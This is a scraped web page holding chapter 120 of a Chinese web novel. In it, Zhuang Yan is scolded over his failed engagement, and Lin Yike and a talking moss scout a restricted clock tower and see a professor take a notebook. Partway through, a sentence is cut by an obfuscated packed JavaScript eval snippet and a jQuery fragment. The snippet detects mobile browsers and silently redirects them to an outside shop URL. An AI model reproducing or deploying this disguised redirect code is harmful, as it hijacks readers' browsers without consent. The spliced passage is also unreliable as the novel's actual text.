文趣网 > 都市小说 > 炮灰主角反派全不按剧情走 > 120. 第 120 章
    到了午休时间,庄宴坐在训练场边的长凳上,手里拿着一份已经翻到卷边的名单。

    他的目光落在全明星队信息最后一行的空白处,那个位置他留了两天,没有填任何人的名字。

    就像旁边那瓶没有开封的冰水,瓶身上凝着一层细密的水珠,已经被人放在那里很久了。

    前天庄宴特地找了林亦可谈话,邀请她来全明星队当指挥,代表贝塔星,代表星辰学院,一起参加跨星系联赛。

    虽然林亦可当场拒绝了他,但庄宴觉得万一,她改变了主意呢?

    莉莉.阿尔巴从训练场另一头走过来,一屁股坐在了庄宴旁边,像个大爷一样,上半身直接瘫在了靠椅上。

    她从兜里掏出一根能量棒,撕开包装咬了一口,嚼嚼嚼了好几下,然后凑过来看了一眼庄宴受伤的那份名单,发出一声意义不明的哼声,

    “还在等她啊?”

    “嗯。”庄宴没有抬头,将名单卷起来放回架子上。“名单还没定。”

    “名单定不定和人家来不来是两码事。”

    莉莉.阿尔巴又咬了一口能量棒,嚼嚼嚼嚼嚼,翘起腿,“不是我说啊,庄宴殿下!”

    “你说你当初干嘛去了?人家在药园里被人当空气的时候,你带着别的小姑娘参加宴会,人家放月假的时候,你带着别的小姑娘逛街。”

    “现在人家不搭理你了,你在这等人。早干嘛去了?”

    莉莉.阿尔巴的语气里,充满了幸灾乐祸。

    虽然她也很希望林亦可加入到全明星队来,但林亦可不愿意来,莉莉也非常理解。

    主要是庄宴殿下之前做的事,太让人不齿了,她在私底下没少吐槽庄宴这根烂黄瓜。

    庄宴的手指在名单边缘停了一下。“莉莉……你说话能不能不那么直接?”

    “不能。”莉莉又咬了一口能量棒,嚼嚼嚼嚼嚼,

    “我这个人吧,没什么优点,就是说话比较真实。”

    “上个月放月假,我和星娜正好看见你带着陈茵茵贝塔星大街的时候,我就觉得你这事办得不地道。”

    “当时没说是给你留面子,现在你婚约都解了,面子也省得留了。”

    星娜从另一边走过来,在莉莉旁边站定。

    星娜的姿态比她平时更松弛一些,但她说出的话比姿态要犀利得许多:“庄殿下,你这件事做得确实不好。如果当初你对林亦可好一点,和陈茵茵保持距离,那么,她现在就会站在你身边看名单,根本不需要你多说什么。”

    庄宴把名单合上了。“我知道。”

    “知道有什么用?”莉莉把最后一口能量棒塞进嘴里,“孩子死了来奶了,大鼻涕流嘴里知道甩了,考试结束了想起来翻书了。”

    星娜在旁边接了一句:“船都开到河中间了,你在岸边学游泳。”

    “天都亮了,你开始盖被子了。”

    “饭都凉了,你开始端碗了。”

    “人都走了,你开始写情书了。”

    莉莉停下来,看了一眼星娜,像是正在同步什么进度。星娜微微点头,表示这句已经说完了。

    庄宴坐在长凳上,没有说话,他发现自己没有任何一句可以反驳的话。他看着那张还有空白的名单,想说“我只是想给她留一个机会”,但他没有说出口,因为那句话在说出来之前,他自己就知道它的分量不够。

    “不过……为什么你们都知道我解除婚约的事了?”

    “哈!!”莉莉这声哈十分讽刺,

    “我们怎么知道?”

    “我们又不瞎!”莉莉.阿尔巴几乎就要大笑出声,但看庄宴的脸色不太好,对面星娜的眼神也满含警告,只好收敛了,“这一个月以来,林亦可避你如蛇蝎,你俩肯定闹掰了啊!”

    “不过……你俩解除婚约的事,是陈茵茵告诉我的。”

    “庄殿下。”一个声音从训练场入口的方向传来。三人同时转过头。陈茵茵正站在入口处,她的双手交叠在身前,姿态比她平时更放松一些,像是没有特意准备要说什么,只是刚好路过,刚好听到了那些话,然后选择走进来了。

    她走过来,在距离庄宴大约三步远的位置停下来。“我也觉得你该放下了。当初你和她还有婚约的时候,你没有珍惜。现在你珍惜了,人家未必会给你机会了。”

    “我不说这些是站在谁的立场上,只是觉得,你该往前看了。”

    庄宴抬起头,看到陈茵茵站在他面前。

    她的表情和语气和她以前不太一样了,不是那种刻意表现出的柔弱,也不是带着目的的甜美,只是一种平淡的、像是她已经不太需要再去维持某个特定形象的真实。

    连陈茵茵都不装了。

    现在的她,才是真实的她。

    陈茵茵根本不是什么人间行走的小太阳,也不是什么元气满满的甜妹。

    真实性格的她,不仅不是那种温暖人心的人,反而有些……刻薄。

    庄宴想起过去的那些事,想起他带着她去找林亦可质问她的时候,想起那段时间他自己到底在做些什么。

    这才过去了短短两个月,一切都变了。

    庄宴沉默了一会儿,好半晌之后才开口,“……你们说得对。我知道。我只是需要一点时间。”

    莉莉.阿尔巴站起来,拍了拍裤子上的灰:“那你自己慢慢想。我们走了。”

    “午休已经只剩半小时了,下午还有训练,得抓紧时间休息!”

    星娜跟着莉莉一起转身离开。

    陈茵茵站在原地多看了庄宴一眼,然后也转身走了。

    庄宴坐在长凳上,看着那份名单上留出来的空白栏,看了很久,然后把它折好,放进口袋里。

    ……

    ……

    与此同时,林亦可正在药园第七区最里面的角落里蹲着。

    她面前放着一个巴掌大小的竹编盒子,是今天早上贺教授从杂物间翻出来给她用的——那个盒子以前是用来移栽植物的,透气性很好,放一层土也不会漏出来。

    盒子表面有一层薄灰,她用水冲了一遍,晾干之后在里面铺了一层从第十二区取来的焦黑色土壤。

    然后,林亦可就把那株月沼青苔连同一小块土一起移进了盒子里,再用手指把土压实了一些。

    前两天月沼青苔答应她,只要她能去禁区把她母亲的笔记取出来,就想办法让她的自然感知进阶。

    昨天和前天晚上林亦可都去钟楼下面转了两圈,发现那边有屏蔽信号。

    她的自然感知压根就无法知道里面的情况。

    所以要进去,还是只能带着月沼青苔一起。

    月沼青苔的叶片在林亦可把它装进盒子之后亮了一下,但这一次它没有在空中形成字迹,而是直接在林亦可的脑子里响起一道带着不满的声音,像是有人正在用一根手指戳她的后脑勺,

    【很挤诶!!】

    【你就不能找个更大的盒子吗?】

    林亦可的动作顿住了。她能感觉到那道声音像是直接贴着她的耳膜传进来的,没有经过空气的震动,只是一种直接落在意识里的频率。“……你能直接跟我说话了?”

    【不是说话。是通过你的异能传导过去的信息。】那株青苔的叶片边缘卷了一下,【你以为我发芽了之后只会打字?】

    “你发芽之前我倒是也和你沟通过,但是那是在脑海里的字幕。”

    “你之前一直用打字的方式,我还以为你打字很吃力。”

    【我打字是不熟练。】青苔的声音带着一种理直气壮的坦然,【但你不在的时候我看了很多书,那里面有教怎么用异能传递信息的。】

    林亦可沉默了一下。“你看书挑种类吗?还是什么都看?”

    【什么都看。药园的书架上有什么我看什么,反正我又不用翻页,只要有学生或者老师去看书,他们翻页了我就看下一页,感知过去就行了。】

    那道声音停了一下,【还有……你们人类写书很喜欢用形容词。翻来覆去都是那些句子,看多了有点累。】

    “……那你最近在看什么?”林亦可觉得月沼青苔真是很奇妙的生物,它虽然话唠,但其实说的内容挺有意思的。

    【植物生理学。】

    【还有一本你们学院三年级的关于植物历史的教材。】

    【后者写的太水了,三分之一都是形容词,我觉得你把那些页撕了也不会少什么信息。】

    “好了,这个话我可不敢听。”

    林亦可低头看着竹编盒子里那株正在微微晃动的青苔,她能感觉到那道声音的尾巴里有一种“在座各位都不如我”的自得感。

    “毕竟我还要上各位教授的课呢!你这样,我会厌学的!!”

    林亦可捧着那个竹编盒子站起来,把它小心翼翼地放进背包里,拉链拉了一半没有完全合拢,留了一道小缝,方便里面的空气流通。

    青苔从盒子里轻轻泄了一丝绿色的光,像一条荧光丝线,像是在确认自己正在被带往新的方向。

    “我们不是出去玩。”林亦可说,“我们是要去办正事。”

    青苔的声音通过背包的布料传过来,频率很低,只有她的异能能接收到:【诶呀!我知道。我就是出来透透气。】

    林亦可听着背后那道正在她意识边缘飘荡的声音,语气听起来倒也不像是在抗议,像是它早就知道今天会被带出来,只是确认一下周围的环境。

    接下来,林亦可花了整个白天带着青苔在药园里干活。

    她修剪了第七区的银叶草,给第十二区的月沼青苔母株换了水,检查了第五区的幼苗生长情况。

    青苔在她背包里安静了一段时间,后来开始以一种逐渐增加频率的方式在她意识里点评她做的每一件事:

    【林亦可!!你左边那株银叶草已过经有点蔫了你没看到吗?】

    【它的根系在土里卷了一小圈,可能是之前浇水太多。】

    “你怎么知道的?”

    【我能感觉到它的根系状态。整个药园地下所有的根系连接在一起,像一张网。】月沼青苔说,

    【只要我在这个区域,哪个坐标种了什么东西、长了多少根、状态怎么样,我都知道。】

    林亦可一脸震惊,这个月沼青苔简直是种地小外挂!以后如果带着它做植物培育,根本没有什么她培养不好的植物啊!!

    难怪贺教授让她好好对待月沼青苔。

    这种古老的植物真是活的久了,什么都能感知得到!

    “那你之前怎么没跟我说过?”

    【你之前没有问过。】

    青苔的声音停顿了一下,

    【而且你以前刚来的时候,太弱了,都只有D级,快掉到E级去了!频率根本达不到这么高。】

    【幸好你这个人虽然笨,但很努力,你现在B级,勉强能够跟上我的节奏吧!但还是反应慢了点,不如你母亲林茵,她是一个优秀的植物培育者,她可是A级!】

    林亦可,“……”

    算了,懒得跟它争辩。

    林亦可走到另个区域,继续修剪一株银叶草侧枝的手,突然停住了。

    她能感觉到背包里的青苔正在释放一种极细的能量脉冲,像是一个正在确认位置的人,正在用触角轻轻触碰周围的植物根系网络。

    “……怎么了?”

    青苔在背包里沉默了一段时间,然后回答,

    【这里的土壤不对。这个药园下面的根系网络和钟楼地下的网络不是同一套。】

    “什么意思?”

    【药园地下的植物根系系统是被人工培育出来的,像是只覆盖了一个特定范围的信号网络,范围不大。】

    【钟楼下面有一套完全不同的根系网络,那套更老,覆盖范围更大,结构也更完整。】

    林亦可来了兴趣,她带着月沼青苔在药园里到处劳作,就是为了先让它适应这种到处移动的模式,毕竟之前它一直埋在土里,是一个固定的位置。

    “你能接入那套网络吗?”

    【暂时不能。】青苔的声音带着一种难得一见的审慎,

    【那套网络的边界有一层干扰层。像是被人为加固过的,频率不对,我无法直接穿透。】

    林亦可把剪刀放回工具架。她低头看着自己的手,那道翠绿色的纹路在她的关注下重新亮了一瞬。“没错,是这样!之前我去钟楼去了两次,都被屏蔽了,根本无法使用自然感知,现在我明白了,原来是被人加固了啊!”

    “青青,晚上我们一起去看看吧。”

    “青青,我真的很需要你。”

    “青青,我没有你不行!”

    “青青,只有你可以帮我进禁区!拜托拜托!”

    经过这段时间以来的相处,林亦可已经把月沼青苔的脾性摸透了。

    它很自恋,同时它也很热心,很好说话的,只要你捧它两句,它是很乐意帮忙的。

    青苔没有再回答,但它没有反对。

    ……

    ……

    入夜之后,学院里的灯光正在一盏接一盏地熄灭。

    三颗月亮把灰白色的石板路染成一层浅银色的光泽。

    林亦可走过宿舍区的时候,听到远处传来一阵模糊的说话声,好像是参加跨星系联赛的陈茵茵、星娜和莉莉.阿尔巴,在女生宿舍前的庭

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712349|205911||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    院里,她们在准备晚上加练。

    林亦可没有停留,只是安安静静地通过小径,继续往前走。

    今晚为了做“贼”,她特地穿了一件宽大的帽衫,又戴了口罩。

    在这漆黑的夜里,根本看不清她是谁。

    她穿过了药园北侧那条通往钟楼的小路。两侧的树木在月光下形成一片深色的阴影,枝叶交错,在夜风中发出细碎的摩擦声,像是有人正在低语。

    背包里传来月沼青苔的声音,比白天更轻了,像是有人在她耳畔低语:

    【前面有一道能量层。你走慢一点。】

    林亦可没有说话,但却放慢了速度。

    越靠近钟楼,她能感觉到地面正在轻微变化,脚下的土质比之前更密实了,踩上去的时候有一种微弱的回弹,像是下面有东西正在压缩空气。

    林亦可在钟楼外围的围栏前停下了。

    那道围栏不高,大约齐腰,灰白色的金属栏杆表面覆盖着一层极薄的银色涂层。

    林亦可能感觉到那层涂层正在持续释放一种极低频率的能量场,像是一层看不见的薄膜覆盖在地面上。

    她从口袋中摸出一枚硬币,朝围栏的方向轻轻抛去。硬币在空中划过一道弧线,触碰到那层银色涂层的瞬间,表面出现了一道短暂的亮光,然后被轻轻弹开了,落在她脚边的地面上,发出清脆的声响。

    青苔的声音从她意识里传过来:“我试过了,无法穿透能量场,那层涂层会阻断我的延伸通道。”

    林亦可低头看着地上那枚硬币,弯腰捡起来,放回口袋里。

    她观察了一会围栏的结构,寻找到它支撑力的结构薄弱点,她试着拨动了一下,不行!纹丝不动。

    林亦可又试了几种她能从周围找到的工具,折腾了将近半个小时,那道围栏依然完好无损地立在那里,像是一个正在看热闹的人,隔着一段距离,无声地嘲讽她匮乏的想象力。

    林亦可:“……”

    她现在开始怀疑自己。

    为什么非要做这样吃力不讨好的事情,是宿舍的床不香吗?还是她不够累不想睡?

    林亦可费了半天劲,停下来,发现自己出了不少汗,额前的碎发贴在皮肤上,她的呼吸比之前稍微重了一些。

    她蹲在围栏外侧,双手撑在膝盖上,声音已经不稳了:“……你是不是有什么办法没说?”

    青苔在她背包里停顿了很久,久到她以为它不会回答了:“那扇门,我不确定它还在不在原来的位置。”

    “你这是什么意思?”

    青苔没有再回答。林亦可在原地等了一会儿,确认那道声音不会再响起来,正要继续问它到底什么意思?

    这时,一道脚步声从围栏内部的方向传过来了,有人在走路,踩在石板上的步子不紧不慢,不急不缓,像是在散步那样,光明正大,闲庭信步,根本就不怕被人发现!

    林亦可能感觉到那道脚步声正在靠近,她立刻矮身蹲进草丛里,屏住呼吸。

    随后看到一个隐隐约约的黑影子,正从围栏内侧的通道走出来。

    越来越近了,林亦可看到那人的身形被月光勾勒出一道模糊的轮廓,穿着教授的制服,肩膀的线条很宽阔。

    她在脑海中快速检索这个身形,试图找到一个对应的名字,但很可惜……这背影虽然看着有点眼熟,但她真的想不起来是谁了。

    那道背影在她的视线中停留了约有几秒钟,然后从她的视野里消失了。

    青苔的声音在脚步声消失后重新出现在她的意识里,比之前更轻:【不用找了。】

    “什么不用找了?”

    【那个人已经进去过了。】

    【那本笔记……】

    【被他拿走了。】

    林亦可蹲在草丛里,月光落在她肩膀上,她的手指正在缓慢收拢。“……被拿走了?”

    【是的,我感觉到那扇门内部出现了一道新的能量扰动,里面有东西被取走了,不可能是别的。】

    林亦可的目光落在那道已经空无一人的走廊深处。她从草丛里慢慢站起来,拍了拍膝盖上沾着的草叶和泥土。

    “那么也就不用进去了。”

    一开始林亦可还在想,越靠近禁区,信号屏蔽越强烈,她的自然感知根本用不了,到底用什么办法可以进去?

    现在东西被取走了,她反倒不用再发愁了。

    那道消失的身影还在她脑海里,她见过那道背影,就在这个学院里,她应该认识,如果隔得很近,光线够强的话,说不定她应该能认出他,但是在这黑灯瞎火的地方,单单凭借一个模糊的背影,她根本找不到对应的人。

    林亦可把那枚硬币从口袋里拿出来,捏在指间翻转把玩,“青青,你确定是我母亲那本笔记?”

    【我不确定。】月沼青苔的声音里带着一种罕见的老实,【但我确定那扇门里有东西被动过。】

    “好吧。”

    林亦可把那枚硬币放回口袋里,转身朝着来的方向走去。

    她准备回去睡觉。

    她走过那条被月光照亮的小路时,感觉到自己的心跳正在从刚才那种紧张状态中缓慢回落。

    “……好消息是笔记还在学院里,没被带走。我也不用再来这个禁区了,这里的守备很严格,单凭我的力量无法进去,而且就算进去了,一旦被发现,肯定会被学校处分!”

    “拿走笔记的那个人穿的是教授制服,说明他就在学院里,我见过他。”

    她低头看着自己的手。“坏消息是他背对着我。我没看清他的脸。”

    林亦可停了一下,抬起头:“但起码范围缩小了。至少是教授级别的。”她走回药园的路上,月光把她的影子拉得很长,

    “青青,你说那个人拿走笔记,是想要里面的东西,还是不想让别人看到?”

    青苔沉默了一会儿。

    【这我怎么会知道?】

    【但那个人对禁区很熟悉。他开门的时候几乎没有做多余的试探。】

    林亦可的脚步没有放慢。她走过宿舍庭院的铁门时伸手拉了一下,铁门发出一声极轻的吱呀声,然后又恢复了安静。

    远处,钟楼在夜色中依然屹立,林亦可走了几步,停下来,侧过头,看着钟楼的方向。

    “他还会再去的。”她轻声说,“那扇门他既然能打开一次,就会再开第二次。只要他还会回去,我就有机会看到他。”

    “只要给我时间,我一定能认出这个人……”

    月沼青苔没有回答,但它也没有反对。

    夜色正在缓慢地流动,月光把她的影子投在石板路上,她走回宿舍,安静地关上了门。